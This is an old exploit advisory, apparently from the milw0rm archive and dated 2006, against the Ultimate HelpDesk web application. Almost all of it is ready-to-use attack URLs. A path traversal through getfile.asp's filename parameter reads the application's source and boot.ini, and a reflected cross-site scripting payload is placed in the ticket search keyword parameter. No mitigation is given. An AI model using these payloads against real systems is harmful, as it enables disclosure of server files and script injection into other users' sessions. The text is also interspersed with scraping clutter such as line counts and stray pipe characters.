39 lines
No EOL
1,019 B
Text
39 lines
No EOL
1,019 B
Text
*******************************************************************************
|
|
# Title : Ultimate HelpDesk All Version (Source/XSS) Vulnerabilities
|
|
# Author : ajann
|
|
# Contact : :(
|
|
|
|
*******************************************************************************
|
|
|
|
Login Before Vulnerabilities.:
|
|
|
|
|
|
[[SOURCE]]]------------------------------------------------------
|
|
|
|
http://[target]/[path]//getfile.asp?filename=[SQL]
|
|
|
|
Example:
|
|
|
|
//getfile.asp?filename=../index.asp
|
|
//getfile.asp?filename=../../../boot.ini
|
|
|
|
[[/SOURCE]]]
|
|
|
|
|
|
[[XSS]]]---------------------------------------------------------
|
|
|
|
http://[target]/[path]//index.asp?status=open&page=tickets&title=39&searchparam=&u_input=&u_field=&intpage=2&keyword=[XSS]
|
|
|
|
Example:
|
|
|
|
//index.asp?status=open&page=tickets&title=39&searchparam=&u_input=&u_field=&intpage=2&keyword=%22%3E%3Cscript%3Ealert%28%27ajann%27%29%3B%3C%2Fscript%3E
|
|
|
|
[[/XSS]]]
|
|
|
|
"""""""""""""""""""""
|
|
# ajann,Turkey
|
|
# ...
|
|
|
|
# Im not Hacker!
|
|
|
|
# milw0rm.com [2006-12-01] |